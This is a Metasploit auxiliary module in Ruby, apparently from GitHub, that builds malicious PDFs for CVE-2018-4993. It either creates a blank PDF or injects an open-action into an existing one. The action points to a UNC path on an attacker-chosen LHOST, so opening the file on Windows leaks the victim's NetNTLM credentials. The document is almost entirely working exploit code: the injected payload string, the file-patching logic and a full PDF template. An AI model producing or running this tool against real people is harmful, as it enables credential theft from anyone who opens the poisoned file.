BadPDF Generator
rmdavy
GitHub
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::FILEFORMAT
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def initialize(info={})
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super( update_info( info,
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'Name' => 'BADPDF Malicious PDF Creator',
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'Description' => %q{
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This module can either creates a blank PDF file which contains a UNC link which can be used
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to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary
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code into an existing PDF document if possible.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Richard Davy - secureyourit.co.uk', #Module written by Richard Davy
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'CheckPoint researchers - Assaf Baharav, Yaron Fruchtmann, Ido Solomon' #Code provided as POC by CheckPoint Researchers
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],
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'Platform' => [ 'win' ],
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'References' =>
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[
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['CVE', '2018-4993'],
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['URL', 'https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/']
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]
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))
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register_options(
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[
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OptAddress.new("LHOST", [ true, "Host listening for incoming SMB/WebDAV traffic", nil]),
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OptString.new("FILENAME", [ false, "Filename"]),
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OptString.new("PDFINJECT", [ false, "Path and filename to existing PDF to inject UNC link code into"]),
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])
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end
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def run
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if datastore['PDFINJECT']!= nil
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injectpdf
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else
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if datastore['FILENAME']!= nil
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createpdf
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else
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print_error "FILENAME is empty, please enter FILENAME and rerun module"
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end
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end
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end
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def injectpdf
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#Payload which gets injected
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inject_payload = "/AA <</O <</F (\\\\\\\\#{datastore['LHOST']}\\\\test)/D [ 0 /Fit]/S /GoToE>>>>"
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if File.exists?(datastore['PDFINJECT'])
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#Read in contents of file
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content = File.read(datastore['PDFINJECT'])
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#Check for place holder
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if content.index("/Contents 4 0 R") != nil
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#If place holder exists create new file content
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newdata = content[0..(content.index('/Contents 4 0 R')+14)]+inject_payload+content[(content.index('/Contents 4 0 R')+15)..-1]
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elsif content.index("/Contents 8 0 R") != nil
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#If place holder exists create new file content
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newdata = content[0..(content.index('/Contents 8 0 R')+14)]+inject_payload+content[(content.index('/Contents 8 0 R')+15)..-1]
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end
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if newdata != nil
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#Write content to file
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File.open(datastore['PDFINJECT']+".malicious", 'wb') { |file| file.write(newdata) }
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#Check file exists and display path or error message
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if File.exists?(datastore['PDFINJECT']+".malicious")
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print_good("Malicious file writen to #{datastore['PDFINJECT']}"+".malicious")
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else
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print_error "Something went wrong creating malicious PDF file"
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end
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#If place holder cannot be found display error message
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else
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print_error "Could not find placeholder to poison file this time...."
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end
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else
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#If file not found display error message
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print_error "File doesn't exist #{datastore['PDFINJECT']}"
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end
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end
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def createpdf
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#Code below taken POC provided by CheckPoint Research
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pdf = ""
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pdf << "%PDF-1.7\n"
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pdf << "1 0 obj\n"
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pdf << "<</Type/Catalog/Pages 2 0 R>>\n"
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pdf << "endobj\n"
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pdf << "2 0 obj\n"
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pdf << "<</Type/Pages/Kids[3 0 R]/Count 1>>\n"
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pdf << "endobj\n"
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pdf << "3 0 obj\n"
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pdf << "<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]/Resources<<>>>>\n"
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pdf << "endobj\n"
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pdf << "xref\n"
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pdf << "0 4\n"
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pdf << "0000000000 65535 f\n"
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pdf << "0000000015 00000 n\n"
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pdf << "0000000060 00000 n\n"
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pdf << "0000000111 00000 n\n"
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pdf << "trailer\n"
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pdf << "<</Size 4/Root 1 0 R>>\n"
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pdf << "startxref\n"
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pdf << "190\n"
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pdf << "3 0 obj\n"
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pdf << "<< /Type /Page\n"
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pdf << " /Contents 4 0 R\n"
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pdf << " /AA <<\n"
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pdf << " /O <<\n"
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pdf << " /F (\\\\\\\\#{datastore['LHOST']}\\\\test)\n"
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pdf << " /D [ 0 /Fit]\n"
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pdf << " /S /GoToE\n"
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pdf << " >>\n"
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pdf << " >>\n"
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pdf << " /Parent 2 0 R\n"
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pdf << " /Resources <<\n"
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pdf << " /Font <<\n"
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pdf << " /F1 <<\n"
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pdf << " /Type /Font\n"
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pdf << " /Subtype /Type1\n"
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pdf << " /BaseFont /Helvetica\n"
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pdf << " >>\n"
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pdf << " >>\n"
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pdf << " >>\n"
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pdf << ">>\n"
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pdf << "endobj\n"
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pdf << "4 0 obj<< /Length 100>>\n"
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pdf << "stream\n"
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pdf << "BT\n"
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pdf << "/TI_0 1 Tf\n"
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pdf << "14 0 0 14 10.000 753.976 Tm\n"
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pdf << "0.0 0.0 0.0 rg\n"
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pdf << "(PDF Document) Tj\n"
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pdf << "ET\n"
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pdf << "endstream\n"
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pdf << "endobj\n"
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pdf << "trailer\n"
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pdf << "<<\n"
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pdf << " /Root 1 0 R\n"
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pdf << ">>\n"
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pdf << "%%EOF\n"
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#Write data to filename
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file_create(pdf)
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end
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end
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